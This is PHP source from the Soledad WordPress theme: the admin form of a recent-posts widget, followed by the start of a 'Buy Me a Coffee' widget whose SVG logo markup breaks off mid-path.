				'showborder'     => false,
				'row_gap'        => '',
				'imgwidth'       => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'orderby'        => 'date',
				'order'          => 'DESC',
				'pmfs'           => '',
				'image_type'     => 'default',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'query_cat'  	 => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'metakey'        => '',
				'featured'       => false,
				'allfeatured'    => false,
				'thumbright'     => false,
				'twocolumn'      => false,
				'featured2'      => false,
				'postdate'       => false,
				'icon'           => false,
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Enable post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Show the order numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\kX8  8    inc/widgets/buymeacoffee.phpnu [        <?php

add_action( 'widgets_init', 'penci_buymeacoffee_load_widget' );

function penci_buymeacoffee_load_widget() {
	register_widget( 'penci_buymeacoffee_widget' );
}

if ( ! class_exists( 'penci_buymeacoffee_widget' ) ) {
	class penci_buymeacoffee_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_buymeacoffee_widget',
				'description' => esc_html__( 'A widget that displays the Buy Me a Coffee account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_buymeacoffee_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_buymeacoffee_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Buy Me a Coffee', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_buymeacoffee_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Buy Me a Coffee', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$button_text = ! empty( $instance['button_text'] ) ? $instance['button_text'] : esc_html__( 'Buy Me a Coffee', 'soledad' );
			$username    = ! empty( $instance['username'] ) ? $instance['username'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			?>
            <div class="penci-buymeacoffee-badge-wrap">
                <a href="https://www.buymeacoffee.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank">
                    <svg data-v-fcca4322="" width="500" height="500" viewBox="0 0 25 35" fill="none"
                         xmlns="http://www.w3.org/2000/svg"><title><?php echo esc_html( $button_text ) ?></title>
                        <path d="M22.0672 8.1281L22.0437 8.11426L21.9893 8.09766C22.0112 8.11614 22.0386 8.12685 22.0672 8.1281Z"
                              fill="black"></path>
                        <path d="M22.4111 10.5781L22.3848 10.5855L22.4111 10.5781Z" fill="black"></path>
                        <path d="M22.0735 8.11128C22.0708 8.11093 22.0681 8.11029 22.0655 8.10938C22.0654 8.11115 22.0654 8.11293 22.0655 8.1147C22.0685 8.11432 22.0712 8.11313 22.0735 8.11128Z"
                              fill="black"></path>
                        <path d="M22.3877 10.5647L22.4274 10.5421L22.4421 10.5338L22.4555 10.5195C22.4303 10.5304 22.4074 10.5457 22.3877 10.5647Z"
                              fill="black"></path>
                        <path d="M22.1334 8.1762L22.0947 8.1393L22.0684 8.125C22.0825 8.14993 22.1058 8.16832 22.1334 8.1762Z"
                              fill="black"></path>
                        <path d="M12.3836 31.9453C12.3526 31.9587 12.3255 31.9796 12.3047 32.0062L12.3291 31.9905C12.3457 31.9753 12.3693 31.9573 12.3836 31.9453Z"
                              fill="black"></path>
                        <path d="M18.0497 30.8309C18.0497 30.7958 18.0326 30.8023 18.0368 30.9268C18.0368 30.9167 18.0409 30.9065 18.0428 30.8969C18.0451 30.8747 18.0469 30.853 18.0497 30.8309Z"
                              fill="black"></path>
                        <path d="M17.4617 31.9453C17.4307 31.9587 17.4036 31.9796 17.3828 32.0062L17.4073 31.9905C17.4239 31.9753 17.4474 31.9573 17.4617 31.9453Z"
                              fill="black"></path>
                        <path d="M8.39845 32.2145C8.37496 32.1941 8.34619 32.1807 8.31543 32.1758C8.34034 32.1878 8.36524 32.1998 8.38185 32.209L8.39845 32.2145Z"
                              fill="black"></path>
                        <path d="M7.50541 31.3533C7.50173 31.317 7.49058 31.2818 7.47266 31.25C7.48535 31.2831 7.49598 31.317 7.50448 31.3515L7.50541 31.3533Z"
                              fill="black"></path>
                        <path d="M13.5278 15.9814C12.2963 16.5086 10.8987 17.1064 9.08736 17.1064C8.32963 17.1048 7.57558 17.0009 6.8457 16.7973L8.09845 29.6592C8.14279 30.1968 8.38769 30.698 8.78452 31.0634C9.18134 31.4288 9.70106 31.6316 10.2405 31.6315C10.2405 31.6315 12.0167 31.7237 12.6094 31.7237C13.2474 31.7237 15.1601 31.6315 15.1601 31.6315C15.6995 31.6315 16.2191 31.4286 16.6158 31.0633C17.0125 30.6979 17.2574 30.1967 17.3017 29.6592L18.6435 15.4463C18.0439 15.2415 17.4387 15.1055 16.7565 15.1055C15.5767 15.105 14.626 15.5114 13.5278 15.9814Z"
                              fill="#FFDD00"></path>
                        <path d="M2.96582 10.5039L2.98704 10.5237L3.00088 10.532C2.99022 10.5215 2.97847 10.512 2.96582 10.5039Z"
                              fill="black"></path>
                        <path d="M24.4376 9.31226L24.249 8.36071C24.0797 7.50694 23.6955 6.70022 22.8191 6.39164C22.5382 6.29294 22.2195 6.2505 22.0041 6.04617C21.7887 5.84184 21.725 5.5245 21.6752 5.23023C21.583 4.6901 21.4963 4.14952 21.4017 3.61033C21.3201 3.14677 21.2555 2.62602 21.0428 2.20075C20.7661 1.62973 20.1918 1.29579 19.6208 1.07485C19.3282 0.965622 19.0296 0.873222 18.7265 0.798101C17.2998 0.421723 15.7999 0.283349 14.3322 0.204476C12.5705 0.107269 10.8042 0.136556 9.04673 0.292113C7.73863 0.411114 6.36089 0.555024 5.11783 1.00751C4.6635 1.1731 4.19533 1.37189 3.84986 1.7229C3.42597 2.15417 3.2876 2.82113 3.5971 3.35894C3.81711 3.74086 4.1898 4.01069 4.58509 4.18919C5.09997 4.41919 5.63769 4.5942 6.18931 4.71132C7.72526 5.0508 9.3161 5.1841 10.8853 5.24083C12.6245 5.31103 14.3665 5.25414 16.0974 5.07063C16.5254 5.02359 16.9527 4.96716 17.3792 4.90136C17.8815 4.82433 18.2039 4.16751 18.0558 3.70995C17.8787 3.16292 17.4027 2.95074 16.8644 3.0333C16.7851 3.04576 16.7062 3.05729 16.6269 3.06882L16.5697 3.07712C16.3873 3.10019 16.205 3.12171 16.0226 3.1417C15.646 3.18229 15.2683 3.2155 14.8898 3.24133C14.042 3.30037 13.192 3.32758 12.3423 3.32896C11.5075 3.32896 10.6722 3.30544 9.83916 3.25055C9.45909 3.22564 9.07994 3.19397 8.70172 3.15553C8.52967 3.13755 8.35809 3.11864 8.18651 3.09742L8.02322 3.07666L7.98771 3.07159L7.81843 3.04714C7.4725 2.99502 7.12656 2.93506 6.78431 2.86264C6.74978 2.85498 6.71889 2.83577 6.69675 2.80818C6.67461 2.78059 6.66254 2.74627 6.66254 2.71089C6.66254 2.67552 6.67461 2.6412 6.69675 2.61361C6.71889 